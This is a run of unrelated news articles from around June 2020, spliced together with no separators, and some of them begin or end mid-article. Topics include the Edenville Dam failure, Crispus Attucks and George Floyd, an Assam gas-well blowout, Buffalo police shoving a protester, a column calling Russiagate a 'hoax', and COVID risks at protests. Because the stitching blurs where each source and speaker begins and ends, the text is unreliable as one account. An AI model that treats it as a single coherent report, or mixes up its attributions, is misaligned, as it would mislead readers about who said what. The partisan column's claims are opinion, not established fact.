"We were in the stage where we were trying to resolve the issues amicably with the owner," Trumble said. "In May 2019, Midland and Gladwin counties had established legal lake levels on all four lakes to try to bring funding to address any concerns with the dams and make sure the dams met state and federal regulatory requirements. We were working through that process when the failure happened."

The Edenville Dam is one of six dams in Michigan that have both a high hazard potential and a poor rating from EGLE.

Of the approximately 2,600 dams in Michigan, 1,060 are regulated by the state, including Edenville Dam. Sanford Dam is regulated by the Federal Energy Regulatory Commission.

The main purposes of the Dam Safety Program, which has a yearly budget of $348,100, are to reduce or prevent dam failures, establish and maintain legal lake levels, and ensure that required inspections are performed and reviewed.

A dam is defined as an artificial barrier at least six feet high that impounds or diverts five or more acres of surface area.

EGLE has two dam inspectors  one for the Upper Peninsula and the northern half of the Lower Peninsula, and one for the southern half of the Lower Peninsula.

Midland and Gladwin counties both are in the northern half, for which Dan DeVaun is responsible for dam inspections. Trumble is responsible for the inspections in the southern half of the state.

DeVaun and Trumble are responsible for either inspecting themselves, or for reviewing dam inspections done by licensed dam engineers for, every state-regulated dam in Michigan and municipally-owned dams also, if requested.

EGLE is also the state entity that has been charged by Gov. Gretchen Whitmer with investigating why the Edenville Dam failed on May 19, even though EGLE itself is a defendant in multiple lawsuits filed in response to that dam's failure and the consequent flood damage.

"EGLE has been asked by the governor to perform an investigation of the Edenville Dam failure. We will work in collaboration with outside dam engineering experts to accomplish that request," EGLE spokesperson Nick Assendelft wrote in an email reply to the Daily News.
It's been 10 years since violent clashes between ethnic Uzbeks and Kyrgyz in southern Kyrgyzstan claimed hundreds of lives. Fighting broke out in the country's second-biggest city of Osh and led to brutal killings, the destruction of thousands of homes of ethnic Uzbeks and Kyrgyz, and the mass displacement of ethnic Uzbeks. RFE/RL journalists who covered the violence look back at what happened.
Like George Floyd, he was black, in his mid-40s, and died at the hands of a white man. And like Floyd, he may have helped touch off a revolution.

Many in the Black Lives Matter movement are invoking Crispus Attucks  an African American gunned down by a British soldier in the Boston Massacre of 1770  as a symbol of entrenched white-on-black violence and oppression.

Attucks is widely seen as the first casualty of the American Revolution, and 250 years after his death, he's become a rallying figure for a nation battling old demons.

Crispus Attucks was a black man and the first person killed during the Boston Massacre that started the Revolutionary War, said Jeff Nadeau, 45, a health care industry worker in Los Angeles County.

A woman walks past the Boston Massacre Monument on Boston Common after a protest against police brutality in Boston, following the death of George Floyd, who died after being restrained by Minneapolis police officers on Memorial Day. (AP Photo/Charles Krupa)AP

George Floyd was another black man killed who started this revolution. History does repeat itself," he said.

To be sure, the circumstances of each mans death are starkly different. Attucks, 47, died in a confrontation with occupying forces. Floyd, 46, died on Memorial Day in Minneapolis after a white police officer pressed his knee into the handcuffed mans neck, ignoring cries that he couldnt breathe.

But in memes on social media and in commentary on the airwaves, they've become inextricably linked by those who see troubling parallels in the two and a half centuries that separate them. Poignantly, if somewhat improbably, Crispus Attucks was trending on Twitter this week.

Attucks, of African and Native American descent, and four other men died on March 5, 1770, after British soldiers opened fire on an unruly crowd. The victims were posthumously hailed as heroes, with thousands turning out for their funeral procession and their burial together, and their deaths stoked anti-British sentiment throughout the colonies, leading a few years later to the war for independence from Britain.

Two years ago, a grassroots movement was launched to push Boston's leaders to honor Attucks by renaming the city's famed Faneuil Hall  which bears the name of a wealthy 18th-century slave owner  in Attucks' honor. That campaign continues.

Attucks' story has been retold at critical moments in the nation's history.

In the 1850s, black abolitionists in Boston marked each massacre anniversary as Crispus Attucks Day, using the memory of his sacrifice to mobilize support for efforts to end slavery.

They presented Attucks as the first martyr of the Revolution who died fighting for liberty. The image resonated powerfully in a nation that placed millions of African Americans in bondage despite its stated ideal of freedom, reads a new exhibit by Revolutionary Spaces, Reflecting Attucks, in Bostons Old State House.

A gravestone marks the burial place at the Granary Burying Ground in Boston of those killed in the March 5, 1770, shooting by British soldiers known as the Boston Massacre. (AP Photo/Steven Senne, File)AP

The Rev. Martin Luther King Jr. mentioned Attucks in his 1964 book, Why We Can't Wait, noting that the first American to shed blood in the revolution that freed his country from British oppression was a black seaman.

Adding to the injustice of Attucks' death, founding father John Adams  a lawyer  publicly defended the British soldier who shot him while privately praising Attucks' courage.

Our country was literally founded on the death of a black man, tweeted Chris Echols, 37, an insurance company employee from Glendale, Arizona.

Miranda Adekoje, a Boston writer who's working on a new play about Attucks, cautions that his indigenous roots  and the parallel suffering of native peoples today  shouldn't be ignored.

He represented two groups that were incredibly brutalized and still are, she said. The message of this play will resonate even stronger than it would have had George Floyd's death not happened. These themes are centuries old.

And Adekoje points to one way history isn't repeating itself in 2020:

The revolution that began with Crispus Attucks murder had no real regard for the lives of African and indigenous people, she said. The revolution that has begun as a result of George Floyds murder is for the sole purpose of making America inhabitable for all people.

Related Content
Assam: Gas well blowout puts biodiversity at risk

by Jayashree Nandi & Utpal Parashar

June 05,2020 | Source: Hindustan Times

The blowout of an Oil India Limited (OIL) gas well in Assams Tinsukia district last week is causing extensive damage to biodiversity and wildlife the region -- including the endangered hoolock gibbons and Gangetic dolphins -- according to several residents, activists and experts. Baghjan, where the gas well blowout occurred on May 27 is close to the Dibru Saikhowa National Park, the Maguri-Motapung wetlands, and the forest villages of Barekuri which are habitat to the hoolock gibbon. Uncontrollable gas flow is continuing from the gas well, according a press statement issued by Oil India Limited on Monday.



What we are seeing is complete horror. Condensed oil is leaking continuously. The Maguri-Motapung wetlands (an important bird and biodiversity area) is very badly affected. There is a thick layer of crude oil on the water. Fish are dying and some cattle that graze in the adjacent wetlands are also dead, said Mridupaban Phukon, a student and wildlife activist. We have been informed by people in Barekuri villages that condensed oil is coating leaves and has started affecting the hoolock gibbon habitat. If not contained immediately the wetlands and national park will be devastated, he said over phone. Around 650 families have been evacuated from the affected areas and continue camped in three relief camps.



I visited the area on Sunday but it was barricaded. I could see the damage everywhere. Dead fish were floating and the vegetation is brown now. One Gangetic dolphin died soon after the leak. Usually the Maguri bheel is rich with birdlife, I could hardly spot any birds that day. I appeal for immediate help, said Nabamita Ray, doctor and wildlife enthusiast. AM Singh, principal chief conservator of forests, Assam and spokesperson of environment ministry said that a team of forest officials, pollution control board members and OIL officials will submit a report on Wednesday while another committee which also has independent members from IIT Guwahati are assessing damage in the national park.



Oil Indias crisis management team (CMT) members have started pumping water through the casing valve. Water is being pumped continuously through the valve into the well head. Oil India has also contacted global experts to control the blowout, the press statement cited above said, adding that the water pumps are being installed in the nearby river (source of water) and pipeline-laying work is in progress.



Officials said that an additional plot of land adjacent to the well site has also been arranged to create a big reservoir of water and to place the well control equipment in it. A blowout is the uncontrolled release of crude oil or natural gas from an oil well or gas well after pressure control systems have failed. According to Oil India, the blowout happened on May 27 while operations were going to produce gas from a new sand (oil and gas-bearing reservoir) at a depth of 3,279 metres. The well was until then producing around 100,000 standard cubic metres a day of gas.



Assam Chief Wildlife Warden and additional principal chief conservator of forest (PCCF) MK Yadava said an assessment is underway to measure the damage to the ecology and animal and bird species in the area because of the blowout. He added that the carcass of a Gangetic dolphin found at Maguri beel has been sent for forensic examination. In the two days after the accident, the condense oil had only spread up to 500 metres but now it has spread in 1.5km radius as per our observations. Oil India is saying it may take another week. Who will compensate for this damage? asked Hemanta Moran, Principal, Jatiya Vidyalaya Baghjan.



According to a 2013 site inspection report regarding oil and gas pipelines in Upper Assam by conservation scientists and former members of National Board for Wildlife, MD Madhusudan and Prerna Singh Bindra, the Dibru-Saikhowa National Park and Biosphere Reserve meet at the confluence of the Brahmaputra with three of Indias easternmost riversthe Siang, Dibang and Lohit rivers. The park shaped by the these rivers is spread over 765 sq-km, of which 340 sq-km form the core and is a complex of wetlands, alluvial grasslands, riverine forests, swamps and semi-evergreen forests, including the largest willow swamp forest in north-east India.



Dibru-Saikhowa has recorded over 40 mammals, 500 species of birds, 104 fish species, 105 butterfly species and 680 types of plants. It harbours tigers, elephants, wild buffalos, leopards, hoolock gibbons, capped langurs, slow lorises, Gangetic dolphins, besides critically endangered bird species such as the Bengal florican, white-winged duck, greater adjutant stork, white-rumped vulture, slender-billed vulture, and the very rare and endemic black-breasted parrotbill.



Meanwhile, an OIL advertisement last month said the union environment ministry has accorded environmental clearance on May 11 for extension drilling and testing of hydrocarbons at 7 locations under Dibru Saikhowa National Park. HT verified documents on environment ministrys Parivesh website which also states that the clearance was accorded.



The continued oil leakage from the blow it is a horrific environmental crime. It has caused the death of the endangered Gangetic dolphin and thousands of fish, laying wetlands and fields waste, it is endangering the rare hoolock gibbons. Unfortunately, this is not the first time there has been such a leakage or environmental norms have been flouted indeed part of the pipeline in the eco-sensitive zone of the Dibru-Saikhowa National park had been laid before mandatory environment approvals were given. Dibru-Saikhowa and its surrounding landscape has immense ecological values, and allowing drilling inside a national park is against the spirit and letter of the law, besides violating our basic constitutional principles of protecting environment, said Bindra, who visited the site as a National Board for Wildlife member.
In the fight against the dreaded Corona Virus pandemic, lockdown has become a necessity, cutting across languages, geographies, socio-economic strata. And yet, theres a flip side to it  a threat being faced by an increasing number from a demographic group that roughly comprises one-half of the worlds population  Women!

The threat has been an age-old one, but now exacerbated by the side-effects of lockdown. Its called domestic violence. And as people fly off the handle under the stress of lockdown and fear of the unknown (the pandemic!), the worrying incidence of domestic violence is rapidly on the rise, the world over.

Statistics are bearing this out on a global scale During the month of February, Hubei province in Wuhan (the epicentre of the Corona Virus) reported a tripling in domestic violence cases. Brazils state-run shelters are experiencing a 40-50% rise in appeals from women in distress under similar circumstances. And it isnt any better in the so-called developed and wealthy world. That most loved city of Paris has seen a 36% spike; the overall French average itself at a worrying +30%, with the rest of Europe ranging between an increase of 20-30%.

In India, its an eerily different story, with the otherwise busy hotlines gone silent  pointing to the distressing fact that the 24x7 presence of the perpetrator at home, is now making it impossible for victims to report brutalities inflicted upon them.

All of these distressing facts prompted Gaali-Free India to examine the issue and trace its origins. Admittedly, while there can never be one single cause, the reality is that domestic violence is often an off-shoot of the perpetrator being inherently abusive by nature. Or, more specifically, by language. A warped sense of entitlement that gives them a misplaced feeling of having some God-given right to take out their anger on soft targets  in this case, women.

Topical as always, Gaali-Free Indias latest campaign trained the spotlight on domestic violence and its rising incidence in the time of lockdown. To be sure, the campaign is not against lockdown; rather, one of its unfortunate side-effects.

It uses now-universally objects like a mask and gloves to creatively unravel its narrative. A narrative succinctly captured by its solitary line If only we could see what lies beneath. Coupled with its emotional imagery of battered woman, the campaign immediately draws attention to the dangers of the times we live in.

Vandana Sethhi, entrepreneur, communications expert and the architect behind the Gaali-Free India movement, explains the thinking behind the campaign: The objective of the campaign is not creativity, but awareness  as is the case with every Gaali-Free campaign. Awareness from several perspectives For perpetrators, so that they may begin to check their baser instincts and thus course-correct; for victims, that they may stand up for themselves and report the same; and, as importantly, for third parties (neighbours, relatives, etc), that they may step in and come to the aid of such hapless victims.

The objective and timing of the campaign are both laudable and of huge service to society  especially the silent victims. The campaign tugs at ones heart-strings, conscience and responsibility towards society. As a movement, Gaali-Free India is committed towards stamping out the menace of verbal (and, by extension, other forms of) abuse. Its a commitment to return India to its original ethos of being a peace-loving, respectful and caring society. Its predication lies in the reality that too many people in too many places and situations are freely using abusive words, thereby reducing the sanctity of society and community.

Gaali-Free India finds an excellent vehicle in social media. Through this, it can very effectively reach out primarily to the younger audience  especially those for whom verbal abuse has become a way of life; and equally to those still at an impressionable and peer-pressure stage, who can be conscientized towards correcting themselves and work towards becoming nicer human beings.

Sethhi adds: While this campaign seems targeted at perpetrators, there is a much wider audience  in fact, anyone and everyone! As mentioned, victims and third parties, from a primary standpoint. But more broadly, this latest campaign is part of an ongoing effort to continuously engage with youngsters and remind them of their responsibility towards making our world a better place.

More power to Gaali-Free India. And more power to women who find themselves unfortunate victims of domestic abuse. Together, lets pledge our commitment to a better world.
Trending footage has emerged of a five-year-old boy in China struggling to get into his school uniform after he put on weight while spending over four months at home due to the coronavirus lockdown.

The pre-schooler can be seen in the viral video sucking in his belly as his grandmother tried to button up the child's shirt. The boy then smiled in relief after he finally put on the school outfit.

Tens of millions of social media users have been amused by the boy's adorable expression after the clip was uploaded yesterday on Chinese Twitter-like Weibo.

Cute footage shows a five-year-old boy in China struggling to get into his school uniform after he put on weight while spending over four months at home due to the coronavirus lockdown

One commenter wrote: 'This is so cute.'

Another said: 'This is me when I'm trying on clothes.'

Other web users expressed concerns for the boy's health.

'Dear child, nobody should laugh at you about your weight. But a slimmer body would help you grow up happily and healthily,' a comment read.

A fourth viewer criticised the boy's parents: 'This is irresponsible parenting. We should include managing your child's health as part of parents' duties.'

The boy's mother told Chinese media that her five-year-old son now weighs nearly 50 kilos (7.87 stone) after spending over four months at home during the coronavirus lockdown.

The footage was recently filmed in Anyang city of Henan province in central China.

Tens of millions of social media users were amused by the boy's adorable act after the clip was uploaded yesterday on Chinese Twitter-like Weibo. The footage is filmed in Henan province

It comes as tens of millions of students in China are returning to campus after the country appears to have largely contained the coronavirus outbreak. Students wearing face masks have a class at a primary school on the first day of the reopening on June 2 in Fujian province

It comes as tens of millions of students in China are returning to campus after the country appears to have largely contained the coronavirus outbreak.

Wuhan where the pandemic began has announced zero active confirmed cases in the city for the second time after it has discharged all seven patients who contracted the bug from an infection cluster in May.

The former epicentre claimed zero confirmed infections for the first time in late April. But fears of a new crisis erupted after Wuhan reported a new cluster of infection on May 10.

China plans to release a white paper on the country's progress in fighting the coronavirus outbreak this Sunday, according to Chinese media.

Young Chinese students wearing red scarves are pictured attend a ceremony of joining the Young Pioneers at Mingtong Primary School on Children's Day on June 1 in Yunnan province

Students wearing wings, which helps to keep safe distancing, line up to have body temperature checked at a primary school on June 2 in Taiyuan, Shanxi province in China

Five new confirmed COVID-19 infections were reported in China today. They were all said to be imported cases from inbound travellers.

A total of 61 imported patients are being treated in hospital, according to China's Health Commission. There are also 66 active domestic infections in the country.

The deadly disease has infected 83,027 people in China and claimed at least 4,634 deaths.

Globally, nearly 6.5million people have contracted the killer bug and over 383,000 people have died.
In yet another instance, the university didnt try to determine if it should return state financial monies given to 15 students who had failed at least one course during a semester and had unofficially withdrawn from school. Students who leave school midway through a semester typically lose their eligibility for financial aid, and state and federal policies require schools to figure out how much of that money should be returned.

WSSU subsequently reviewed student withdrawal records from the three semesters  fall 2018, spring 2019 and fall 2019  that came immediately after the four years covered by the review. Those records showed that the university should return an additional $52,099 to the agency, which WSSU has done. University officials told trustees that later audits would have revealed that WSSU would have to give back this money.

If someone says to us (later), we came through and did an audit three years ago ... common sense would say, did he think about going back to see if there were other challenges? Robert Muhammad, the universitys financial aid director, told trustees. We always try to stay ahead and abreast of whats going on.
(L-R) FBI Director James Comey, Director of National Intelligence James Clapper and Central Intelligence Agency Director John Brennan wait to testify before the Senate Intelligence Committee on Jan. 10, 2017. (Joe Raedle/Getty Images)

Was Russiagate Really About Iran?

Commentary

In recent months, more evidence has emerged that confirms the Russiagate scandal was a carefully coordinated hoax maintained by federal officials with the help of complicit news media. And that means the Spygate scandal was always the real story of the 2016 election.

Its becoming increasingly obvious that because Trump 2016 presidential campaign adviser Carter Page was never a Russian agent, they had to resort to fraud to get the FISA (Foreign Intelligence Surveillance Act) court to approve the warrant.

The FBI appears to have spent the entire spring and summer of 2016 failing to get Page or campaign adviser George Papadopoulos to say anything incriminating while undercover informants recorded their conversations, and so they were forced at last to resort to Christopher Steeles fake dossier.

But this does bring up an interesting question.

Since there werent any real Russian agents anywhere in this entire sordid episode, what was driving the FBIs activity?

Russian Collusion Narrative: A Fake Pretext?

Columnist Lee Smith at Tablet Magazine wrote a thought-provoking article that lays out a convincing case that the real reason the Obama partisans inside the federal agencies were so determined to go after Trumps incoming national security adviser, Michael Flynn, was never about supposed ties to Russia. What they were really seeking to do was to protect the Joint Comprehensive Plan of Action (JCPOA). Thats the official name for what has come to be commonly referred to as the Iran deal.

Its no secret that both Trump and Flynn had very vocally promised to scrap the Iran deal if the Washington outsider won the election.

And its also no secret that Barack Obama and his administration considered the Iran deal the signature foreign policy achievement of his entire presidency.

What if the Russian collusion narrative was always just a fake pretext these politically partisan government officials were using to mask their real goal: spying on the Trump presidency to try to sabotage it while also protecting Obamas precious Iran deal?

After all, the dirty cops at the DOJ and the FBI cant just come out and tell the FISA court, Wed like to spy on the presidential campaign of Donald Trump so that we can sabotage him in case he wins the election, including leaking and thwarting any actions he takes to scrap the Iran deal.

And its telling that the very first person they plotted to take direct action against after Trump did indeed unexpectedly win the election was Flynn.

Why was it so important to Comey & Co. to remove Flynn from his post as national security adviser as quickly as possible?

Very likely because Flynn was the only person in the Trump inner circle with national security and intelligence experiencemore than 30 years worth. He was a key Trump adviser on all things foreign policy and specifically Iran. By forcing Flynns removal, the political partisans at the FBI would derail any early plans to scrap the Iran deal, perhaps until Trump could be safely removed from office.

Direct documentary evidence recently unsealed in the Flynn false statement case lays to rest forever the idea that Spygate isnt real.

Its no longer a far-fetched conspiracy theory that federal officials conspired to spy on a political campaign for political reasons when these officials have been caught red-handed casually plotting among themselves to entrap and frame a respected retired three-star general.

If it turns out the real motive was to spy on the Trump campaign to protect the Iran deal, that would also mean Rep. Devin Nunes (R-Calif.) has been correct in saying for more than three years that the real reason for this spying activity on Trumps campaign, and then his presidency itself, was all unrelated to any legitimate intelligence or law enforcement issue. It was all politics and it always has been.

It would mean the vast surveillance powers of the federal government were deliberately used by corrupt government officials to attack and undermine their own political opponents.

It would only be the biggest scandal in American history.

Brian Cates is a writer based in South Texas and author of Nobody Asked For My Opinion  But Here It Is Anyway! He can be reached on Twitter @drawandstrike.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
When the world feels out of control, people want to have control over something, said Jessica Gold, a psychiatrist at Washington University in St. Louis who treats patients with eating and other mental health disorders. Often, its what you put in your mouth.

In March and April, the National Eating Disorders Association, or NEDA, saw a 78 percent increase in people messaging its help line compared with the same period last year. Crisis Text Line, a nonprofit organization that provides mental health support by text, saw a 75 percent increase in conversations about eating disorders in the two months since March 16, to around 700 conversations from around 400 conversations weekly. A vast majority of those texters  83 percent  were women, and more than half were under the age of 17.

There are jokes circulating about peoples fear of weight gain during the pandemic, said Claire Mysko, the chief executive officer of NEDA. There are influencers putting out messages about what you should and shouldnt be eating. On top of that were seeing pictures of empty grocery shelves. That can be a trigger to people with eating disorders.

Community is often a critical component of healing from an eating disorder, so the isolating nature of the pandemic has been especially difficult for those in recovery. For Katelin, a sophomore at Wesleyan who asked not to use her full name because of concerns about privacy, the transition from college to a quarantine routine was intense: no more big group meals in the cafeteria, no more exercise classes with friends. Just hours of class on Zoom and the quiet of her family house in New York.

The start of New Yorks stay-at-home order, which came as she was recovering from bulimia, quickly renewed old anxieties about food. Right away I had purging urges in a way I hadnt in a long time, she said. It wasnt like my routine fell away slowly. Everything immediately collapsed.
Two Buffalo police officers who shoved an elderly man to the ground during a protest Thursday night, putting him in serious condition, have been suspended immediately without pay, police commissioner Byron Lockwood announced Friday.

As an anti-racism protest ended in Niagara Square in front of Buffalo City Hall just before the citys curfew started Thursday evening, city law enforcement and state police moved through the area and pushed protesters back.

An unidentified 75-year-old man can be seen on video approaching the officers, at which point he is shoved and loses his balance, falling backwards onto the pavement and hitting his head. Blood can immediately be seen leaking from his ear as onlookers urge officers to call an ambulance. Several officers continue to walk past the man.

Two EMTs treated the man, who suffered a concussion and lacerations and was taken to the hospital, where he remains in serious but stable condition as of Thursday night. He is expected to recover, according to Erie County Executive Mark Poloncarz, who said the video sickens me. The Erie County District Attorneys Office is investigating the incident.

Buffalo Police said in a statement on the incident that a 5th person was arrested during a skirmish with other protestors and also charged with disorderly conduct. During that skirmish involving protestors, one person was injured when he tripped & fell.

Buffalo Mayor Byron Brown said he was deeply disturbed by the video in a statement late Thursday night, calling it disheartening but noted that protesters were participating in an illegal demonstration beyond the curfew.

New York Governor Andrew Cuomo called the incident wholly unjustified and utterly disgraceful and said he spoke to the mayor about it.

The demonstration Buffalo officers were dispersing was one of many protests across the country in the wake of the death of George Floyd, a black man who died in police custody last week after a white Minneapolis police officer knelt on his neck for about nine minutes, including after Floyd passed out.

More from National Review
Bhopal: Rains caused by cyclonic storm Nisarga in Madhya Pradesh on Thursday led to damage of wheat harvest kept in the open at government procurement centres, causing distress to farmers. The incident came to light even as the Shivraj government claimed that it had been able to store 94% of the wheat that was purchased by the state government.

Opposition Congress alleged that lakhs of metric tonnes of wheat was destroyed in untimely rains and said it would release videos of the incident as proof.

Responding to the accusations, Chief Minister Shivraj Singh Chouhan said on Friday that 94% wheat was already shifted to storage facilities and added that the MP government has, so far, procured 1.26 crore metric tonnes of wheat. Chouhan asked farmers not to worry and assured them that their harvest would be purchased by the state government. He added that his government has already started their purchase and will meet the target of 100 metric lakh tonnes of wheat.

He further accused the Kamal Nath government of not making proper arrangements of crop procurement when it was in power.

The MP government said that the state witnessed a record wheat procurement this season and added that Rs 16,000 crore has already been transferred to farmers accounts.

The Opposition, however, continued to mount an attack on the government.

"The MP government has been persistently erring and making egotistic claims on wheat procurement," Congress MLA Kunal Chaudhary told News18 on Friday. He added that the party would release videos of the wheat being destroyed in the rains.

"They are saying we have paid the farmers but the fact is wheat bought at procurement centres and co-operative societies is lying out in the open and being destroyed by the rains. This also belies payment claims as farmers are handed payment only after the crop is shifted to warehouses," alleged Chaudhary.

Government procurement centres are established in farmlands. Photographs of wheat lying in the open amid rains surfaced from across the state on Thursday.

As rains lashed the state, thousands of farmers lined up at the procurement centres and were seen struggling to protect their harvest which they brought on tractors.

"I had said 30-33 lakh metric tonnes of wheat was lying in open and after rains, its confirmed that losses worth Rs 7,000 crore have been incurred by the MP government," agriculture expert Kedar Shankar Sirohi said on Friday.

Chana (gram) and Moong crops were also damaged in the rains, he pointed out.

Despite the early warning of rains, the state government did not make arrangements to transport procured wheat to the storage centres, Sirohi said, adding that so far, only 15 lakh farmers have sold their produce and 4.36 lakh remain in the list, awaiting their turn.
Governor invites envoys to inspect Phuket

PHUKET: Phuket Governor Phakaphong Tavipatana has called for foreign envoys to come and inspect Phuket for themselves as a mark of confidence that the island is ready to receive visitors, namely tourists.

COVID-19Coronavirushealthtourism

By The Phuket News

Friday 5 June 2020, 11:48AM

Thanit Sermkaew, chief of the Phuket Provincial Health Office, which currently serves as the Phuket Coronavirus disease 2019 (COVID-19) Incident Command Center, was present at the meeting. Photo: PR Phuket

I would like Phuket to organise activities leading the consulates from various countries to travel to Phuket in order to see the beautiful tourist attractions and to promote tourism for Phuket, he said.

The call came at a meeting at Phuket Provincial Hall yesterday (Jun 4) attended by consuls and honorary consuls in Phuket from 16 countries: Australia, Luxembourg, Russia, Korea, Netherlands, Switzerland, France, England, Austria, Mexico, Estonia, Finland, Chile, Norway, Germany and Denmark.

The meeting was held to discuss and receive opinions and feedback on the development direction of Phuket in the aftermath of the COVID-19 outbreak, said a report by the Phuket office of the Public Relations Department (PR Phuket).

Governor Phakaphong pointed out that Phuket had recorded 227 confirmed cases of people infected with COVID-19.

No people are currently receiving medical treatment in hospital and there has not been a confirmed case for 10 consecutive days, he said.

The PR Phuket report did not mention that three people in Phuket have died as a result of being infected with the virus.

The Governor pointed out that the central government had allocated B1 trillion to the recovery of the country amid the fallout from COVID-19: B45 billion for public health plans, B555bn for relief remedies, and B400bn for social and economic recovery framework.

Governor Phakaphong also pointed out that Phuket officials had facilitated more than 2,827 foreign tourists in Phuket returning to their 24 home countries.

The diplomatic corps in Phuket present at the meeting thanked Phuket officials for their assistance in helping foreign tourists return home, said the PR Phuket report.

In terms of feedback about visitors returning to Phuket post-COVID-19, the general consensus was that tourists still have confidence and will want to travel to Phuket again when the situation is normal, the report added.

Governor Phakaphong also gave special attention to medical tourism, and to a proposal to allow medical tourists extended stays in Thailand once the international restrictions are lifted.

As for the proposal, which would like the Ministry of Foreign Affairs to provide assistance regarding a permit to stay in Thailand for more than 30 days in the event that foreign tourists come to use medical services in Thailand, those involved in the medical industry can work with the Phuket Passport Office* to submit the proposal to the Ministry of Foreign Affairs for further consideration, Governor Phakaphong said.

* The Phuket Passport Office, whose main responsibility is to issue passports to Thai nationals, operates under the Ministry of Foreign Affairs. Although it has never been publicly announced, it is understood that the Phuket Passport Office acts as the leading Ministry of Foreign Affairs office in Phuket.
He says Russia is an artificial entity, which was once formed "at gunpoint."

Secretary of Ukraine's National Security and Defense Council (NSDC) Oleksiy Danilov says the Russian Federation has been confronting its neighboring countries all the time and he thinks that it will break up sooner or later.

Read alsoNSDC secretary: Ukraine seeks to end war with Russia soon, but not going to make concessions

"This is an artificial entity, which once was also formed at gunpoint. No one willingly joined it. This is an 'assembled territory,' which will sooner or later fall apart," he said on TV Channel 24 on June 4.

The official added that peoples associated with Russia, for example, Ichkeria, have nothing to do with it.

"We must also be aware that this will not happen as quickly as we would like, but the fact that it will happen in our lifetime is clear," he said.

According to Danilov, Russia has had an external enemy all the time of its existence. At first, it considered the United States and NATO to be its adversaries, then this was Georgia, and now it is Ukraine.

Ukraine's Foreign Minister Dmytro Kuleba earlier said that Ukraine would not allow the red lines that relate to national security, sovereignty and territorial integrity to be crossed. So, negotiations with Russian-backed forces of the so-called "Donetsk and Luhansk People's Republics" ("DPR" and "LPR"), federalization and Russia's other demands are unacceptable to Kyiv.
The nation is entering its second week of mass protests over police violence and the brutal killing of George Floyd. While most Americans agree with the protesters cause, some detractors worry about the cities with the largest marches, where people are gathering in the thousands in the middle of the COVID-19 pandemic.

Those arguments arent always made in good faith, but the concerns have some validity. How big is the risk that the protests could set off a new wave of infections across the country?

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We should be worried, said Shira Shafir, an associate professor of epidemiology at the UCLA Fielding School of Public Health. Any time now we see people who are not maintaining social distancing, theres the potential for those people to spread the virus. But by the same token, I think were currently facing two public health crises. The first is COVID. And the second is racism and police violence that weve been facing for centuries.

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As tens of thousands of Americans have taken to the streets in recent days, transmission of the coronavirus is still rampant across the U.S. Anyone joining the protests should be aware that there is a risk. But that isnt an argument for people to stay home. As many scientists and doctors have agreedand as the protesters themselves have arguedpolice brutality against the black community is its own urgent health crisis. And its not lost on the protesters that the same community already so devastated by the pandemic is now most likely to suffer from the viruss spread at the protests. Those demonstrators have chosen to take on the risks from the coronavirus pandemic because they have decided that the public health risks from police brutality are more urgent and immediate.

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Still, its hard to say exactly how risky these demonstrations are. There are conflicting sets of factors that make it hard to tell what to expect in the coming weeks.

Decreased risk

Open-air setting: Being outside could be the saving grace for the protests. There is a consensus among scientists that the outdoors are far safer, in part because a breeze can dilute the virus, meaning you dont get as much of a viral load hitting your immune system at one time. But theres still risk if you dont keep distance from others around you, and ultimately, hundreds and sometimes thousands of people are still packed together, sharing a lot of the same air.

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Summer temperatures: Theres some evidence that the virus doesnt spread as well in hot and humid environments, possibly because it breaks down under the heat and particles fall to the ground more quickly in humidity. But that evidence comes from lab settings and from historical trends for influenza and other seasonal viruses, and neither form of evidence is conclusive. Plus: hot, humid places such as Brazil have had major outbreaks, so any mitigation from the summer climate is likely to be very modest.

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Frequent mask use: Mask use has been common, though not universal, among protesters. But theres a reason masks have sparked as much debate as they have: We continue to be uncertain just how effective they are. The body of research generally supports the belief that they help slow the spread by reducing how far, and in what quantity, droplets travel, but its hard to say by how much.

Increased risk

Densely packed crowds: This is the main reason to worry. Its kind of a setup for viral transmission, said Peter Chin-Hong, an infectious disease specialist at the University of California, San Francisco. People trumps everything, every other environmental factor. So it doesnt matter if its hot, it doesnt matter if its sunny, with UV lights. As long as enough people are there, the virus is happy, because its trying to jump from somebodys nose or mouth into somebody elses nose or mouth.

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The danger varies by location, though. In a place such as Los Angeles, where COVID-19 cases are still quite high, having large gatherings is more likely to spread the virus than in a place like Portland, Oregon.

Shouting, chanting, and singing: Any time a person projects their voiceto shout the names of those killed by police, for examplethe particles that could carry the virus travel farther. As a result, some health experts recommend people use megaphones to magnify their voices and rely more heavily on signs to spread their message.

Holding cells: In many cases, police have arrested protesters and driven them in vans to be held in jail cells. Jails are notorious for spreading the coronavirus by forcing people into a cramped, enclosed space, which researchers agree is the worst setting for spreading the coronavirus. A high volume of arrestsand therefore higher turnover rate in any given cellwould also mean those held in jail are exposed to more people than usual. Youre making people vulnerable, inherently, said Yamile Molina, a health disparities scientist at the University of Illinois at Chicago School of Public Health.

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Tear gas: According to public health experts, one of the worst ways police endanger protesters at these marches is by firing off tear gas. Tear gas causes everyone in the affected area to cougha common way of spreading the virus. Using tear gas is probably one of the worst things you can do for COVID transmission, Chin-Hong said. It allows more coughing and makes it easier for the virus to potentially infect the nose in the mouth and get into the lungs potentially, because its acting as an irritant. Molina added that people often respond to tear gas by helping one another with medical care, putting them in close contact. When theyre clustering together, the worst thing we can do is attack their respiratory system simultaneously, Molina said. The good news is that eye protection, which can help protect protesters from tear gas, does double duty as a measure against COVID.

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Demographics: At first glance, the youthfulness of the crowds could be seen as a blessing, given that these protesters are less likely to fall seriously ill. But they are also more likely to be asymptomatic carriers and spread the virus without realizing it, and thats worrying, said George Rutherford, the head of the infectious disease and global epidemiology division at the University of California, San Francisco. Then theres the matter of race: Rates of infection are higher in black communities, which are also leading and heavily populating these protests.

But even when factoring in all these conditions, its still very difficult to say how we should think about the protests. Theres no sort of magical calculator that we can put this into and say the risk of someone getting infected is X, Shafir said. All were able to do is look at the different pieces and say, Masks are better, but coughing and yelling are worse. 

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The health experts agreed that rather than worry about the chances of getting COVID-19 from the protests, participants should think about precautions. While a protester cant do much about the police officers decision to use tear gas or place people in jail, individuals can help protect themselves by wearing masks, carrying hand sanitizer, and mingling with the same group of other peoplethink of it as something like a protest bubblethrough the process. When they get home, they should wash their hands, wipe down their phone, disinfect their belongings, wash or dispose of their mask, and shower. And when people are done protesting, they should self-quarantine, if possible, and get tested.

Ultimately, it points to what a crisis this is, that people do acknowledge and do understand that there is a chance they are going to get infected with COVID, Shafir said. While there is absolutely the possibility or even the probability that this virus will be transmitted by individuals who are exercising their right to protest, I think they have to be allowed to do so. And encouraged to do so.
